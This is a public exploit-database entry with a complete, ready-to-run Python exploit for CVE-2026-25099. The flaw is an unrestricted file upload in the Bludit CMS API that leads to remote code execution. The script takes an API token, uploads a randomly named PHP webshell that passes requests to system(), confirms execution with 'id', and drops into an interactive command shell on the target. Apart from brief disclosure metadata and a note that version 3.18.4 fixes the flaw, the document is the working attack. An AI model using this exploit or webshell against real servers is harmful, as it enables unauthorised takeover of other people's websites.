Share
## https://sploitus.com/exploit?id=PACKETSTORM:218091
# Exploit Title: Bludit CMS < 3.18.4 - API Unrestricted File Upload to RCE
    # Date: 2026-03-28
    # Exploit Author: Yahia Hamza (https://yh.do)
    # Vendor Homepage: https://www.bludit.com/
    # Software Link: https://github.com/bludit/bludit/archive/refs/tags/3.18.2.zip
    # Version: Bludit < 3.18.4
    # Tested on: Ubuntu 24.04 LTS / Apache 2.4 / PHP 8.3
    # CVE: CVE-2026-25099
    #
    # Description:
    # Bludit CMS API plugin allows an authenticated user with a valid API token
    # to upload files of any type and extension via POST /api/files/<page-key>.
    # The uploadFile() function performs no file extension or content validation,
    # allowing upload of PHP webshells that execute as www-data.
    #
    # The API token is generated when the API plugin is activated and is visible
    # to users with admin panel access. Tokens may also be exposed through
    # misconfiguration, log files, or other application vulnerabilities.
    #
    # Fixed in Bludit 3.18.4.
    #
    # Usage:
    #   python3 CVE-2026-25099.py -u http://target -t API_TOKEN
    #   python3 CVE-2026-25099.py -u http://target -t API_TOKEN -c "id"
    
    import argparse
    import requests
    import sys
    import random
    import string
    
    
    def get_page_key(base_url, token):
        """Retrieve a valid page key from the Bludit API."""
        try:
            r = requests.get(
                f"{base_url}/api/pages",
                params={"token": token},
                timeout=10
            )
            if r.status_code == 200:
                data = r.json()
                if data.get("data") and len(data["data"]) > 0:
                    return data["data"][0]["key"]
        except requests.RequestException as e:
            print(f"[-] Connection error: {e}")
        return None
    
    
    def upload_shell(base_url, token, page_key):
        """Upload a PHP webshell via the unrestricted file upload endpoint."""
        shell_name = "".join(random.choices(string.ascii_lowercase, k=8)) + ".php"
        shell_content = '<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";} ?>'
    
        try:
            r = requests.post(
                f"{base_url}/api/files/{page_key}",
                data={"token": token},
                files={"file": (shell_name, shell_content, "application/x-php")},
                timeout=10
            )
            if r.status_code == 200:
                data = r.json()
                if data.get("status") == "0":
                    shell_url = f"{base_url}/bl-content/uploads/pages/{page_key}/{shell_name}"
                    return shell_url, shell_name
        except requests.RequestException as e:
            print(f"[-] Upload error: {e}")
        return None, None
    
    
    def execute_command(shell_url, cmd):
        """Execute a command via the uploaded webshell."""
        try:
            r = requests.get(shell_url, params={"cmd": cmd}, timeout=10)
            if r.status_code == 200 and "<pre>" in r.text:
                return r.text.split("<pre>")[1].split("</pre>")[0].strip()
        except requests.RequestException:
            pass
        return None
    
    
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2026-25099 - Bludit CMS API Unrestricted File Upload to RCE"
        )
        parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://target)")
        parser.add_argument("-t", "--token", required=True, help="Bludit API token")
        parser.add_argument("-c", "--command", help="Command to execute (omit for interactive shell)")
        args = parser.parse_args()
    
        base_url = args.url.rstrip("/")
    
        print("[*] CVE-2026-25099 - Bludit CMS API File Upload to RCE")
        print(f"[*] Target: {base_url}")
    
        # Step 1: Get page key
        print("[*] Retrieving page key...")
        page_key = get_page_key(base_url, args.token)
        if not page_key:
            sys.exit("[-] Failed to retrieve page key. Check URL and token.")
        print(f"[+] Page key: {page_key}")
    
        # Step 2: Upload webshell
        print("[*] Uploading webshell...")
        shell_url, shell_name = upload_shell(base_url, args.token, page_key)
        if not shell_url:
            sys.exit("[-] Upload failed.")
        print(f"[+] Shell uploaded: {shell_url}")
    
        # Step 3: Verify RCE
        print("[*] Verifying RCE...")
        test = execute_command(shell_url, "id")
        if not test:
            sys.exit("[-] RCE verification failed. Shell may not be accessible.")
        print(f"[+] RCE confirmed: {test}")
    
        # Step 4: Execute command or interactive shell
        if args.command:
            output = execute_command(shell_url, args.command)
            if output:
                print(output)
        else:
            print("\n[+] Interactive shell (type 'exit' to quit)\n")
            while True:
                try:
                    cmd = input("shell> ")
                    if cmd.strip().lower() in ("exit", "quit"):
                        break
                    if not cmd.strip():
                        continue
                    output = execute_command(shell_url, cmd)
                    if output:
                        print(output)
                    else:
                        print("(no output)")
                except (KeyboardInterrupt, EOFError):
                    break
    
        print(f"\n[*] Shell: {shell_url}")
    
    
    if __name__ == "__main__":
        main()